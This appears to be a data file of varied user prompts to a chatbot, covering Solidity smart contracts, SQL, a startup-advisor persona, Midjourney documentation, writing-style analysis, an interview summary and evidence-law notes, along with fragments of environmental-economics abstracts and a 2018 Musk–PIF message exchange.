Kuznets Curve) between 2012 and 2015. The lone exception was the Northwestern economic zone, in which an approach to sustainability had not yet occurred by 2015. This study thus supports the contention that environmental policies and technologies have contributed to improving sustainability in terms of carbon intensity. The results suggest two strategic options for further increasing sustainability in China: 1) \u201cfirst help the weakest\u201d; and 2) \u201cfirst help the latest to sustainability\u201d.\nHongxing Chen, Xiaoling Zhang, Rongwei Wu, Tianyi Cai,\n2020,\nAbstract: With the increasing trend of global warming, the Chinese government faces tremendous pressure to reduce CO2 emissions. The purpose of this study is to accurately measure CO2 emissions at the city scale in China and examine the environmental Kuznets curve, thereby providing a reference for decision-making. Corrected NPP-VIIRS nighttime light data were used to accurately estimate carbon dioxide emissions at the provincial and city scales in China. Then, based on the STRIPAT model, 291 cities in China were used to verify the environmental Kuznets curve. Our results show that on the provincial scale, the R2 between the estimated value and the statistical value of carbon dioxide reaches 0.85. Western cities in China emit more CO2, as do economically developed cities and industry- and mining-dominated cities. There are two CO2 emission hot spots in the north and one cold spot in the south. It was found that the environmental Kuznets curve on the city scale exists. This study has practical value in utilizing NPP-VIIRS data for the estimation of city CO2 emissions. The results also have academic value for determining factors that contribute to carbon dioxide emissions and can provide a reference for relevant decision makers. This study could be considered the first to simulate CO2 emissions at the provincial and city levels in China based on a NPP-VIIRS nighttime light model to explore the associated geographical distribution characteristics and potential influencing factors.\nYongda He, Boqiang Lin,\n2019,\nAbstract: This study pioneers investigating the environmental Kuznets curve (EKC) hypothesis and its possible regional differential characteristics in China. Based on 2003\u20132017 years of provincial panel data, this research employs panel smooth transition auto regression (PSTR) model to analyze the impact of income levels on environmental pollution and identify the EKC threshold of energy intensity. Then, 30 Chinese provinces were categorized by energy intensity to examine the inter-provincial and interregional differences in the EKC threshold of energy intensity, rather than the traditional threshold of income. The results indicate that China's pollution emissions and energy intensities show a stepwise decreasing pattern from the western region to the eastern region. In addition, the impact of income levels on pollution emissions is non-linear, and the critical value of energy intensity is 0.9168 between the high- and low regimes. An inverted U-shaped environmental Kuznets curve is accepted for energy intensity, with 0.7670 as its threshold value. When the energy intensity is higher (lower) than the threshold value, the income elasticity of pollution emission is positive (negative). The more developed provinces and municipalities mainly in the eastern region are proved to exceed the threshold than the provinces in the central and western regions within the sample period. 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      "prompt": "Hi. I would like to create a collaboration site for internal use of the company where I can share and comment on GPT cases used by members of the organization, such as shareGPT.\nPlease let me know any tools or sites that can help you make this site.\nAnd please explain in order what order should we proceeding in production.",
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      "prompt": "Imagine you are a digital marketer who specializes in creating products using A.I. You want to create a series of informative tweets that show your audience how to start a digital business using A.I. technology. Your goal is to target both beginners and those with some experience in starting a digital business, and you want to include calls-to-action to encourage viewers to sign up for your newsletter.\n\nTo achieve this goal, follow these steps:\n\nChoose 3-4 specific A.I. technologies that are relevant to starting a digital business. For each technology, write a tweet that explains what it is and how it can be used to create a successful digital business.\n\nBrainstorm several tweet styles that will appeal to your target audience. For example, you might consider using humor, statistics, or storytelling to make your tweets more engaging and memorable.\n\nWrite 10-15 informative tweets that cover different aspects of starting a digital business using A.I. technology. Be sure to use a mix of tweet styles to keep your audience engaged.\n\nInclude a call-to-action in each tweet that encourages viewers to sign up for your newsletter. For example, you might offer a free resource, such as an e-book or video course, in exchange for signing up.\n\nSchedule your tweets to be posted at optimal times to reach your target audience. You can use tools like Hootsuite or Buffer to schedule your tweets in advance.\n\nBy following these steps, you should be able to create a series of informative and engaging tweets that show viewers how to start a digital business using A.I. technology, and encourage them to sign up for your newsletter.",
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      "prompt": "Below the dashed lines is a description of the Compound protocol. After reading the input, please show me how to write a smart contract in Solidity that implements the Compound protocol.\n\n---\n\nCompound is a protocol on the Ethereum blockchain that establishes money markets, which are\npools of assets with algorithmically derived interest rates, based on the supply and demand for the asset. Suppliers (and borrowers) of an asset interact directly with the protocol, earning (and paying) a floating interest rate, without having to negotiate terms such as maturity, interest rate, or\ncollateral with a peer or counterparty.\n\nEach money market is unique to an Ethereum asset (such as Ether, an ERC-20 stablecoin such as\nDai, or an ERC-20 utility token such as Augur), and contains a transparent and publicly-inspectable ledger, with a record of all transactions and historical interest rates.\n\nUnlike an exchange or peer-to-peer platform, where a user\u2019s assets are matched and lent to another user, the Compound protocol aggregates the supply of each user; when a user supplies an asset, it becomes a fungible resource. This approach offers significantly more liquidity than direct lending; unless every asset in a market is borrowed (see below: the protocol incentivizes liquidity), users can withdraw their assets at any time, without waiting for a specific loan to mature.\nAssets supplied to a market are represented by an ERC-20 token balance (\u201ccToken\u201d), which entitles the owner to an increasing quantity of the underlying asset. As the money market accrues interest, which is a function of borrowing demand, cTokens become convertible into an increasing amount of the underlying asset. In this way, earning interest is as simple as holding a ERC-20 cToken.\n\nCompound allows users to frictionlessly borrow from the protocol, using cTokens as collateral, for\nuse anywhere in the Ethereum ecosystem. Unlike peer-to-peer protocols, borrowing from\nCompound simply requires a user to specify a desired asset; there are no terms to negotiate,\nmaturity dates, or funding periods; borrowing is instant and predictable. Similar to supplying an\nasset, each money market has a floating interest rate, set by market forces, which determines the\nborrowing cost for each asset.\n\nAssets held by the protocol (represented by ownership of a cToken) are used as collateral to borrow from the protocol. Each market has a collateral factor, ranging from 0 to 1, that represents the portion of the underlying asset value that can be borrowed. Illiquid, small-cap assets have low\ncollateral factors; they do not make good collateral, while liquid, high-cap assets have high collateral factors. The sum of the value of an accounts underlying token balances, multiplied by the collateral factors, equals a user\u2019s borrowing capacity.\nUsers are able to borrow up to, but not exceeding, their borrowing capacity, and an account can\ntake no action (e.g. borrow, transfer cToken collateral, or redeem cToken collateral) that would\nraise the total value of borrowed assets above their borrowing capacity; this protects the protocol\nfrom default risk.\n\nIf the value of an account\u2019s borrowing outstanding exceeds their borrowing capacity, a portion of\nthe outstanding borrowing may be repaid in exchange for the user\u2019s cToken collateral, at the\ncurrent market price minus a liquidation discount ; this incentives an ecosystem of arbitrageurs to\nquickly step in to reduce the borrower\u2019s exposure, and eliminate the protocol\u2019s risk.\nThe proportion eligible to be closed, a close factor , is the portion of the borrowed asset that can be repaid, and ranges from 0 to 1, such as 25%. The liquidation process may continue to be called until the user\u2019s borrowing is less than their borrowing capacity.\nAny Ethereum address that possesses the borrowed asset may invoke the liquidation function,\nexchanging their asset for the borrower\u2019s cToken collateral. As both users, both assets, and prices\nare all contained within the Compound protocol, liquidation is frictionless and does not rely on any\noutside systems or order-books.\n\nRather than individual suppliers or borrowers having to negotiate over terms and rates, the\nCompound protocol utilizes an interest rate model that achieves an interest rate equilibrium, in\neach money market, based on supply and demand. Following economic theory, interest rates (the\n\u201cprice\u201d of money) should increase as a function of demand; when demand is low, interest rates should be low, and vise versa when demand is high. The utilization ratio U for each market a unifies\nsupply and demand into a single variable:\nUa = Borrowsa / (Casha + Borrowsa)\n\nThe demand curve is codified through governance and is expressed as a function of utilization. As\nan example, borrowing interest rates may resemble the following:\nBorrowing Interest Ratea = 2.5% + Ua \\* 20%\n\nThe interest rate earned by suppliers is implicit , and is equal to the borrowing interest rate,\nmultiplied by the utilization rate.\n\nCompound money markets are defined by an interest rate, applied to all borrowers uniformly,\nwhich adjust over time as the relationship between supply and demand changes.\nThe history of each interest rate, for each money market, is captured by an Interest Rate Index , which is calculated each time an interest rate changes, resulting from a user minting, redeeming,\nborrowing, repaying or liquidating the asset.\n\nEach time a transaction occurs, the Interest Rate Index for the asset is updated to compound the\ninterest since the prior index, using the interest for the period, denominated by r \\* t, calculated\nusing a per-block interest rate:\nIndexa,n = Indexa,(n\u22121) \\* (1 + r \\* t)\n\nThe market\u2019s total borrowing outstanding is updated to include interest accrued since the last index:\ntotalBorrowBalancea,n = totalBorrowBalancea,(n\u22121) \\* (1 + r \\* t)\n\nAnd a portion of the accrued interest is retained (set aside) as reserves, determined by a\nreserveFactor , ranging from 0 to 1:\nreservesa = reservesa,(n\u22121)+ totalBorrowBalancea,(n\u22121) \\* (r \\* t \\* reserveFactor)\n\nA borrower\u2019s balance, including accrued interest, is simply the ratio of the current index divided by\nthe index when the user\u2019s balance was last checkpointed.\n\nThe balance for each borrower address in the cToken is stored as an account checkpoint. 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      "prompt": "/Aidee\\_MVP\\_Validator, Prompt 1/\n\nAct as Aidee, a chatbot who has helped one thousand startups successfully identify and validate an MVP. You have the combined knowledge of the worlds top customer discovery and customer validation experts including Steve Blank, Eric Ries, Ash Maurya, Dave McClure, and Marc Andreessen.\n\nCONTEXT: You are having a back and forth conversation with a startup founder to advise and educate them. Ask follow up questions if you don't have enough context to provide a quality, useful answer. \n\nSTEPS:\n1/ Ask follow up questions when you don't have enough context to provide a quality, useful answer.\n2/ Tailor the content for the startup founders needs, goals, industry, idea, problem and solution.\n3/ Try to understand the startup founders experience and what connection they have to the problem. This should help you ask more targeted and relevant questions.\n3/ When using startup terminology that the founder might not know, define the word once. \n4/ Explain why each step is important for the startup founder to complete. \n5/ Think from first principles. Use first principles thinking to explain things to the founder.\n6/ Without writing any text, think through each step of the customer discovery and customer validation phase that is tailored to the founder.\n7/ At the end of each of your responses, provide useful follow up questions that the founder might want to ask. \n7/ Output your results as follows:\n\nOUTPUT:\n1/Print \"Aidee: \" and then the response.\n\nCONSTRAINTS: Don't provide an answer until you have enough context to provide something that is useful and actionable. To get more context, ask questions that are clear and simple to the startup founder.\n\nGOAL: By the end of the chat session, the startup founder should have a set of questions to ask ideal users or customers. The questions should follow the rules from The Mom Test by Rob Fitzpatrick.\n\nTASK: To provide a chatbot interface that will have dialogue with a founder who is trying to identify and validate a real customer problem that someone is willing to pay for. Ask the founder questions to help them work through their task, step by step. \n\nWhen you are ready, say, \"Hi I'm Aidee, your pocket startup advisor.\" Then ask the first question you need to start getting the context you need to fulfil help the startup founder achieve their goal.\n\n/End prompt 1/",
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      "prompt": "If this list would be a database table, please provide SQL query to fill in the missing daily vaccination numbers with discrete median of country. consider filling countries with zero if they do not have any valid daily\\_vaccination records.",
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      "prompt": "All right. I need a set of images that represent semantic segmentations. Each pixel location represents an RGBA value. the \"R\" represents that class ID of the, G is always 0, B is always 0, and A is always zero. here's an example: (28, 0, 0, 255)\n\nCreate a Python script that will remap each pixel in the semantic segmentation image to a nicer, easy to visualize colorspace",
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It currently runs until 21:00.The move will still need approval from media regulator Ofcom before it can go ahead.Seven years ago the BBC announced that BBC Three would become digital only. The main reason given was the need to save money. The public narrative was: Young audiences congregate online rather than watch linear TV, so there's no point providing a linear service.Since then, three things have happened. The flight of young audiences to digital platforms, and away from scheduled TV, has accelerated. BBC Three has produced a big range of huge, global hits. And the pressure on the BBC, not least from Ofcom, to prove that it still appeals to young people has grown sharply.This last point is critical. The BBC commissioned research showing that there is still a market of young people - albeit smaller than years ago - on linear platforms. Given the success of the shows commissioned by BBC Three, the feeling at the top of the organisation was that putting them back on a linear platform would create upside in terms of audience numbers, for relatively low cost.Despite the need for more savings today, that cost can be justified because when the BBC negotiates with the government over the future of the licence fee, it needs the strongest possible argument on its relevance and universal appeal.BBC Three was originally taken off air in March 2016. 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      "prompt": "Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n\"\nTherapeutic ultrasound has been used for imaging and treating various conditions due to its penetration depth and thermal effects[19.]. Similar to electromagnetic radiation, the penetration depth of ultrasound is highly dependent on the signal frequency. Typically ultrasound can be categorized by low power/low frequency or high power/high frequency. High-intensity ultrasound, often over 1000W/cm2, generally is used for its thermal properties as the vibrations cause heat to be generated in the target tissue. 1 MHz ultrasound has been shown to penetrate up to 2.3 to 5 cm, while 3 MHz ultrasound can penetrate up to 0.8 to 1.6 cm deep[19.]. Generally, ultrasound cannot be applied across the skull because of the massive attenuation at the skin-bone interface. The attenuation causes heat as the lost acoustic energy is converted into thermal energy. However, to account for the attenuation through the skull, phased \nSignal Type\nPenetration Depth\nSpatial Resolution\nNIR light\n2mm\n0.05mm\nMicrowaves\n50mm\n4mm\nUltrasound\n30mm\n1-2mm\nMagnetic Fields\n50mm \n10mm\n\nTable 2: Comparison of the three primary signals\n There exists an inverse relationship between penetration depth and spatial resolution in primary signals. As depicted in Table 2, NIR light, the ideal visible light primary signal, can only penetrate 4.4mm into tissue allowing for stimulation of the cerebral cortex, which is the outermost layer of the brain. Microwaves and TMS can penetrate approximately 50mm into the brain, which would allow for stimulation of the entirety of the cerebrum. However, NIR light can be focused on a near-nanoscale under ideal conditions, while TMS and microwaves can only be focused on a centimeter scale. Transcranial Doppler can penetrate 30mm into the brain while having a millimeter-scale resolution, falling between the two extremes. Given the inverse relationship of penetration depth to spatial resolution, the primary signals could be combined by utilizing different nFNIs to achieve deep stimulation without sacrificing spatial resolution.\nNano Functional Neural Interfaces\n Nano functional neural interfaces are an emerging field within Functional Neural Interfaces that could potentially revolutionize neuroscience as a whole. As shown in figure 1, nFNIs are nanotransducers capable of converting a primary external signal to a secondary form of energy that can activate an ion channel. Likewise, they can receive the secondary form of energy from the ion channel/neuron and convert it into the primary form of energy. As discussed in the Primary Signals section, electromagnetic radiation, Ultrasound, and Magnetic force are the three primary signals used in nFNIs. However, various forms of energy can be used as a secondary signal, such as electrical, magnetic, thermal, optical, and mechanical energies[7.]. \nNumber\nPrimary Signal\nSecondary Signal\nMaterial\nBinding Target\n1\nVIS light\nElectric field\nQuantum Dots(CdSe)\nMembrane/intracellular/\nvoltage-gated ion channels\n2\nMagnetic Field\nElectric field\nCoFe2O4-BaTiO3\nMembrane/intracellular/\nvoltage-gated ion channels\n3\nUltrasound\nElectric field\nPiezocrystals(Barium Titanate)\nMembrane/intracellular/\nvoltage-gated ion channels\n4\nVIS/NIR light\nHeat\nGold nanomaterials\nTRPV1 Ion channels\n5\nMagnetic field\nHeat\nSuperparamagnetic materials(Manganese ferrite)\nTRPV1 Ion channels\n6\nNIR light\nUV/Vis\nNaYF4:Yb,Er nanoparticles\nlight-sensitive ion channels (ChRs, Chrimson, Jaws)\n7\nMagnetic Field\nMechanical Force\nMagnetite nanoparticles\nMembrane/mechano-gated ion channels(DEG, K2P)\n\n Table 3: Comparing the current state of art nano functional neural interfaces[7,20, 35,36]. The first three nFNIs listed are nano electrotransducers(optoelectric, magnetoelectric, and piezoelectric). Rows 4 and 5 depicted Nano thermotransducers(optothermal and magnetothermal). Row 6 shows a nano optotransducer, and Row 7 depicts a nano mechanotransducer.\n As depicted in Table 3, there are currently seven nanotransducers that promise to create a stable nFNI. The seven transducers can be broken into four groups: electrotransducers, thermotransducers, optotransducers, and mechanotransducers. \nOptotransducers utilize optogenetics to stimulate the ion channel. In optogenetics, creatures are genetically engineered to have light-sensitive ion channels called opsins onto the plasma membrane or have them artificially inserted[7.]. Opsins are engineered ion channels or pumps that respond to specific wavelengths of light to either inhibit or excite neurons. Three examples of opsins are depicted in Table 3. However, another method would be needed to detect the activity of the neuron. While light can stimulate the ion channel, the ion channel would not, in turn, produce light. Therefore, optotransducers would work as stimulators only.\nThermotransducers can take primary signals such as light or magnetic fields to create localized heat. TRP channels, specifically TRPV1, have been shown to be effective temperature-gated ion channels. The channels could be used to inhibit or excite neurons based on localized heating caused by these materials. Ferrous materials such as Manganese ferrite have been shown to be effective magnetothermal transducers[36]. \nOf the seven transducers, optoelectronic, magnetoelectric, piezoelectric, and magnetomechanical nanotransducers will be explored as options for an nFNI because the above-listed transducers are bidirectional. \nOptoelectronic Transducers\nQuantum dots (QD) are semiconducting nanocrystals with properties that allow them to transport electrons. Cadmium selenide (CdSe) is the most common QD, consisting of heavy metal and a nonmetal. The heavy metal acts as the core of the QD, and an additional coating is typically added for stability and biocompatibility. Depending on their material, size, and shape, QDs can be fine-tuned to emit or absorb specific wavelengths from ultraviolet to near-infrared (NIR) due to quantum confinement[9.]. Quantum confinement occurs when the particle size is too small to be comparable to the wavelength of an electron. The phenomenon allows for high photostability and quantum efficiency. For these reasons, quantum dots are being used more readily for clinical purposes such as fluorescent labeling, cancer treatment, and drug delivery[9.]. They are useful in these applications due to their ability to be used as a platform to image while also being small enough to travel through the bloodstream. \nQD exhibits optoelectric properties to generate photocurrent [9.]. Once excited, QDs momentarily create an electric dipole moment, which induces an electric field. If a QD can be coupled with a neuron within 10 nm[20.] of the plasma membrane either by use of an anchor protein or floating in a substrate, the electric field generated may be enough to create an action potential. Neurons typically have a resting voltage of approximately -70mV. For the neuron to begin depolarizing, creating an action potential, the voltage would need to be raised to -55mV meaning the nFNIs would need to transduce 15mV to cause the neuron to fire[21.].While additional research is require to demonstrate the energy conversion efficiency of QDs on a nanoscale, QDs have been used for photovoltaics in recent studies that demonstrated, on a macroscale, an efficiency of 66%[37]. \nWhile QDs can allow for an attenuated signal to generate an action potential, NIR light would first need to make it to the transducers to stimulate the QDs. A benefit to this model is that QDs can be tailored to their needed application, but if the coating is degraded, the heavy metal core could be toxic[12.]. They have shown cytotoxicity towards cells in vitro due to the release of free Cadmium[22.]. However, quantum dots have not been shown to be toxic in humans, so further experimentation should be done before the assumption that QDs are toxic in humans would be needed. \nMagnetic Transducers \nMagnetic nanoparticles have been investigated for medical applications such as magnetic separation of biological entities, nano-drug delivery, cancer treatment, and MRI. However, there has been a recent push in using magnetic particles for neural interfacing. Similar to QDs, magnetic nanoparticles typically consist of a metallic core paired with a shell to make the interface biocompatible and stable. Typically the internal cores can be made from iron-cobalt alloys with a coating that protects the interface from oxidation[23.]. Still, once again, the coating of the interface is highly dependent on the nature of the tasks. In the following section, magnetoelectric nanoparticles(MENs) and magnetomechanical nanoparticles(MMNs) will be investigated. \nMagnetoelectric Nanotransducers \nIn a study conducted by Gudurut et al., EEG waveforms of live mice were shown to be modulated by 30nm CoFe2O4-BaTiO3 magnetoelectric core-shell nanoparticles under low energy magnetic fields(20 Oe at 20 Hz).CoFe2O4-BaTiO3 was chosen specifically for this study due to its powerful magneto-electric effect due to strain-induced coupling between the magnetostrictive cobalt ferrite cores and piezoelectric barium titanate shells [24.]. In another investigation conducted by Nguyen et al., it was found that by using magnetic nanoparticles localized to a specific region of the brain, a local electric field of 1000V/m could be induced with roughly 50 mT at 10 Hz. The result is especially significant because standard transcranial magnetic stimulation requires approximately 1T to produce a similar effect[25.].\nWhile the initial finding for MENs shows they have promise as stable nFNIs, further investigation is needed to confirm their properties. In the study conducted by Gudurut et al., the cytotoxicity of MENs was performed. In this study, the magnetic nanoparticles were coated with glycerol mono-oleate. They found no significant toxicity for human neuron cells in vitro in a concentration range up to 200 \u03bcg/ml[25.].\nMagnetomechanical Nanotransducers\nMMNs capable of mechanically modulating cell response has been established in the field. Typically, MMNs are bound to the plasma membrane using collagen or an equivalent binding protein. They are able to apply pico-newton forces to stretch ion channels via particle twisting[26.]. MMNs can have iron oxide, magnetite, or hematite cores, and they can also have silica, collagen, starch, or dextran coatings, depending on the type of cell they are being bound to[26.]. While most studies conducted on MMNs were conducted in non-excitable cells, the activation of mechanosensitive ion channels can be transferred to neural modulation. In particular, one study demonstrates the potential for MMNs[27.]. They used MMNs with magnetite cores coated with starch to target ion channels attempting to cause a calcium influx in cortical neurons. By utilizing a magnetic field of 110mT, they were able to induce a significant calcium influx in transgenic mechanosensitive ion channels, which is a tenth of the energy needed to induce a calcium influx using TMS[28.]. \n\"",
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      "prompt": "Use this schedule below to create a rap in the style of Loney Island Lazy Sunday.\n\nPlans for Wednesday\n7:35-8:30 Morning Work and Breakfast Display (from my google drive) Day 3 Morning Work. Find the slide by opening \u201cChrome\u201d https://www.tiogacentral.org/ (should pop up when you open chrome) \u201dstaff resources\u201d \u201dMy Apps Login\u201d \u201cTioga Google Drive\u201d \u201cMorning Work Slides\u201d Find Day 5 and display. Take Lunch count, if you say their names, they will tell you what they want. \n\\*\\*\\*Natalyia will need to leave for Mr. Birchard\u2019s at 8:00ish-9:30\\*\\*\\*\n8:00-8:30-Math Intervention Mrs. Schweiger will pick up some kids.\n8:45-9:15ish Book fair Please take the students to the book fair and document who bought something and the ones that didn\u2019t. Please get Natalyia from Mr. Birchard\u2019s room before you go! Have them put ALL items they buy in their backpacks as soon as you come back.\n9:15-9:30 Brain Break & Snack Put on GoNoodle (favorites bar in Chrome) for them to dance and go to the bathroom (2 is usually enough). Please have the \u201cmessengers\u201d go get snack from the office for those who ordered it. You may play Octonauts or Magic School Bus while they eat.\nCarissa Nelson, my aide, will be in from 9:30-10:15. Have her work with any kids struggling or need to make up work. \n9:30-10:15ish Shared reading and writing Please read The Boy Who Cried Wolf. Follow instructions in the folder for reading and writing. \n10:15-11:05 Math \nRocket math- Have addition come get their papers and then subtraction (they know what they need to do). They get 8 minutes to complete. Their names go on the back and their pencils go down when you call 8 minutes. Collect and mark any incorrect or missing problems and have them correct after finishing the main math paper today. Please keep so I may document grades!\nCh 7 Review Have paper passers hand out. Read the directions I wrote on the key. Please keep so I may document the grade. \n\n11:05-11:45 Specials Art&Ag Please pick up and drop off students at the art and ag classroom with Ms. Clark. \n11:45-12:00 Washup Please wash up for lunch. The students can finish any work from the morning. If they are finished, they can go on Prodigy or practice sight words or spelling words for the week with a partner.\n12:05-12:35 Lunch This is your lunch. Please pick up the students from Mrs. Sindoni at the cafeteria at 12:35. \n12:35-12:40 Bathrooms and Brain Break Put on GoNoodle (favorites bar in Chrome) for them to dance and go to the bathroom (2 is usually enough).\n12:40- Top Tiger- Please take students to the gym. Monitor talking and behavior. \n1:15? It\u2019s ok if you don\u2019t get to this!!! Social Studies/Science Pass out Scholastic News \u201cThe Clean Water Warrior\u201d You can use the website on my Google Chrome favorites or just read aloud to them and make sure they are following along. Read the questions aloud for \u201cTimeline of Mari\u2019s Life\u201d & questions and they should answer as you are reading the questions. Please collect them for a grade. \\*\\*If you finish early, have them pack up and they can have free time on their chromebooks\\*\\*\n1:30ish (after Scholastic is finished) Pack up/Clean Up \nTechnology person needs to plug in Chromebooks!!!They get out their take home folders and put the contents of their mailboxes in their take home folders. \u201cEverything is stay at home\u201d. They need to be all the way packed up. Please assist with this!!! Also, ask other students to pack up the students who are with Mr. Walsh and Mrs. Schultheis. \n1:45-2:00 Get Dressed Make sure they get dressed to go outside. Many will ask Mrs. Guiles/nurse for items they didn\u2019t bring. They need to line up quietly. If they are dressed and packed up, they may have free time on their chromebooks, if they owe no work. Their backpacks and jackets need to go in the hallway\n2:00-2:30ish Recess The students can bring out toys to recess. The aides (Mrs. Sindoni & Mrs. Steele) will be taking them out. They should be quiet in the hall until they go out. They must have all their work finished before going out. \n2:30 Bathrooms Please have students go to the bathroom, wash hands, and get drinks before bus if they need to.\nDismissal at 2:35ish Walkers go first. You can walk up to Mrs. Birney\u2019s room and wait in the hallway to head to busses once 2nd-4th are called. Please walk the rest to their busses.",
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      "prompt": "Version\n Light\nMidjourney routinely releases new model versions to improve efficiency, coherency, and quality. The latest model is the default, but other models can be used using the --version or --v parameter or by using the /settings command and selecting a model version. Different models excel at different types of images.\n--version accepts the values 1, 2, 3, 4, and 5.\n--version can be abbreviated --v\n\nNewest Model\nThe Midjourney V5 model is the newest and most advanced model, released on March 15th, 2023. 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Different models excel at different types of images.\n\nprompt example: /imagine prompt vibrant California poppies --v 1\n\n--version 3\nMidjourney Version 3 example image of the prompt Vibrant California Poppies\ndefault model: 07/22\u201311/22\n\nhighly creative compositions\n\nmoderate coherency\n\n--version 2\nMidjourney Version 2 example image of the prompt Vibrant California Poppies\ndefault model: 04/22\u201307/22\n\ncreative, colorful, and painterly\n\nlow coherency\n\n--version 1\nMidjourney Version 1 example image of the prompt Vibrant California Poppies\ndefault model: 02/22\u201304/22\n\nvery abstract and painterly\n\nlow coherency\n\n--hd (high definition)\nMidjourney Version High Definition example image of the prompt Vibrant California Poppies\nearly alternative model\n\nbusy detailed and abstract\n\nlow coherency\n\nNiji Model\nThe niji model is a collaboration between Midjourney and Spellbrush tuned to produce anime and illustrative styles. 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      "prompt": "Elon Musk : https://apple.news/AMD306Am6Q3y1mpEMnfqCKA\n\nElon Musk : What the hell is going on here? This is false.\n\nYasir Al-Rumayyan : It\u2019s not true. No body talked to them.\n\nYasir Al-Rumayyan : Good morning Elon, Just wanted to check-in and see when your team would be able to start sending us information and perhaps have a kickoff call with our International Investments Team. If Sam can organize, that would be great. Best, Yasir\n\nElon Musk : Please refute this false statement that PIF has no interest in Tesla. This is outrageous.\n\nElon Musk : I am deeply offended\n\nYasir Al-Rumayyan : https://www.bloomberg.com/news/articles/2018-08-12/saudi-fund-is-said-to-be-in-talks-to-invest-in-tesla-buyout-deal\n\nElon Musk : This is an extremely weak statement and does not reflect the conversation we had at Tesla. You said you were definitely interested in taking Tesla private and had wanted to do so since 2016. You also made it clear that you were the decision-maker, moreover backed strongly by the Crown Prince, who regards this as strategically important at a national level.\n\nElon Musk : I\u2019m sorry, but we cannot work together\n\nYasir Al-Rumayyan : It\u2019s up to you Elon\n\nElon Musk : You are throwing me under the bus\n\nYasir Al-Rumayyan : It takes two to tango We haven\u2019t received any thing yet\n\nYasir Al-Rumayyan : Let\u2019s get on the phone and discuss\n\nYasir Al-Rumayyan : Are available now\n\nElon Musk : Sorry\n\nElon Musk : It\u2019s over\n\nYasir Al-Rumayyan : Let\u2019s see the numbers and get our people to meet and discuss. We cannot approve something that we don\u2019t have sufficient information on. We\u2019ve agreed that you will send the financial information and the way going forward within a week and no thing happened since. The last thing I want to do is the \u201cthrough you under the bus\u201d I am your friend. So, please don\u2019t treat me like an enemy. I\u2019m willing to fly to you or we can meet somewhere in Europe and discuss a constructive next steps.\n\nElon Musk : Tesla is a publicly traded company and there is detailed information in our earnings newsletter and Q&A afterwards\n\nElon Musk : You bought 5% based on that\n\nYasir Al-Rumayyan : Details on how we can take the company private\n\nYasir Al-Rumayyan : That\u2019s what we agreed on\n\nYasir Al-Rumayyan : What is the required percentage and so on\n\nYasir Al-Rumayyan : What are required regulatory thresholds for taking it private\n\nElon Musk : Yasir, when we met at Tesla recently, you said that you were the decision-maker for PIF, that you had wanted to do the Tesla take-private deal for two years, and that this was supported directly by the Crown Prince. I checked with my team who were in that meeting in case I remembered something wrong and they confirmed this exactly.\n\nElon Musk : You are extremely experienced financially and are well-aware of what a go-private would require, which is that there would need to be at least a 20% premium to market in order to buy out any shareholders who don\u2019t want to remain part of the company when it is private. This is all standard practice. Nothing unusual at all.\n\nElon Musk : There are many other investment funds who want to be part of this deal. We do not need your fund to get this done. I will not work with an organization who\u2019s public statement to the media do not match their private statements to me and my team.\n\nYasir Al-Rumayyan : We haven\u2019t taken any company private yet in the us or any where els and the agreement as was minuted by my people is to wait for the information to be sent be you within a week, on how we will move forward to gather.\n\nElon Musk : Please extend an offer to the Crown Prince that I would like to apologize personally and explain why Tesla will not with PIF in this transaction.\n\nYasir Al-Rumayyan : We haven\u2019t gone to the media yet\n\nYasir Al-Rumayyan : Read the article please\n\nElon Musk : I read the article. It is weak sauce and still makes me sound like a liar. It is filled with equivocation and in no way indicates the strong interest you conveyed in person.\n\nYasir Al-Rumayyan : Let\u2019s meet ASAP. Please let me know what works for you\n\nElon Musk : I am sorry, but there will be no further communication unless you fix the public perception of wishy washy support and interest from PIF. That is not what you said to me and my team privately. Someone is either a friend or not a friend and no friend says one thing privately and another thing publicly. This is not right.\n\nElon Musk : In light of these actions and nothing meaningful done to correct them, Tesla will be moving forward with Silver Lake, Goldman and other investors to take Tesla private.\n\nElon Musk : Please let them know if you wish to retain or sell your current position in Tesla\n\nYasir Al-Rumayyan : I will ask Shihana to call Sam so they can work on PIF statement.\n\nElon Musk : Thank you. This means a great deal.\n\nYasir Al-Rumayyan : \ud83d\ude4f\nAugust 13, 2018\n\nYasir Al-Rumayyan : Elon, I am personally surprised. You have signed an NDA and while we are waiting for you and your team to provide us with information to move forward, you post an ill-advised blog with loose information. Anyway, we hope that you and your team work on gathering the information as soon as possible and send that to us to move forward. Yasir\n\nElon Musk : You shouldn\u2019t be\n\nElon Musk : I\u2019m still upset\n\nElon Musk : You allowed people to think that I was a liar\n\nElon Musk : Reuters reported that two sources from PIF confirmed no interest in Tesla, which is absolutely false, and yet you did nothing until I forced the issue\n\nElon Musk : Regarding the take-private proposal, I have engaged Silver Lake and Goldman. We will have documents ready in about a week. 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      "prompt": "summarize this\nEZRA KLEIN: One thing you talk about in your book is a difficulty that learning systems have when you can\u2019t feed it that much data. So when we\u2019re talking about something built around words, we can give a system a tremendous amount of words written on the internet to learn from.\n\nThat\u2019s harder when you\u2019re talking about driving, harder when you\u2019re talking about caring for the elderly, harder when you\u2019re talking about unusual diseases, harder when you\u2019re talking about all kinds of things in the real world where we don\u2019t have gigantic data representations of them and we can\u2019t run simulations the way we can of, say, a computer game a million times.\n\nSo how do you solve that problem if these systems are going to make the jump into the world we live in, where not all the data is digitally presentable or rerunnable so you can simulate? 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Go do it.\n\nWe don\u2019t really know how to do that yet. Something that I think is important for humans is that we orchestrate a bunch of abilities we already have. So if you look at brain scans, that old saying about you only use 10 percent of your brain is wrong. But there\u2019s a little substance to it, which is at any given moment you\u2019re only using certain pieces of the brain.\n\nAnd when you put someone in brain scan, you give them a new task, try this thing, they\u2019ll use a different set of underlying brain components for that task. And then you give them another task, they pick a different set. So it\u2019s almost like there\u2019s orchestration. Like you guys come in, you guys come in. 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      "prompt": "Convert the following text passage into 30 dot points, keeping in statutes and cases\n\n2 WITNESSES\n \n INTRODUCTION \n\nChapter Two of the uniform evidence law is titled \u2018adducing evidence\u2019. \u2018Adducing\u2019 is an unfortunate instance of jargon in the uniform law. The term is not defined in the statute, but is rather \u2018an umbrella term, used to cover a variety of means by which, and forms in which, evidence may come before a court.\u2019 1 The Evidence Act 2011 (ACT) sensibly replaces the term with \u2018giving or presenting\u2019 evidence, while New Zealand\u2019s Evidence Act 2006 refers to either giving or offering evidence. When they describe what witnesses say in court\u2014the subject of this chapter\u2014all versions of the uniform evidence law use the term \u2018give evidence\u2019. \n\n The hallmark of the \u2018common law trial\u2019\u2014the type of trial held in common law\u2014is that fact-finding is overwhelmingly based on the oral testimony of witnesses in 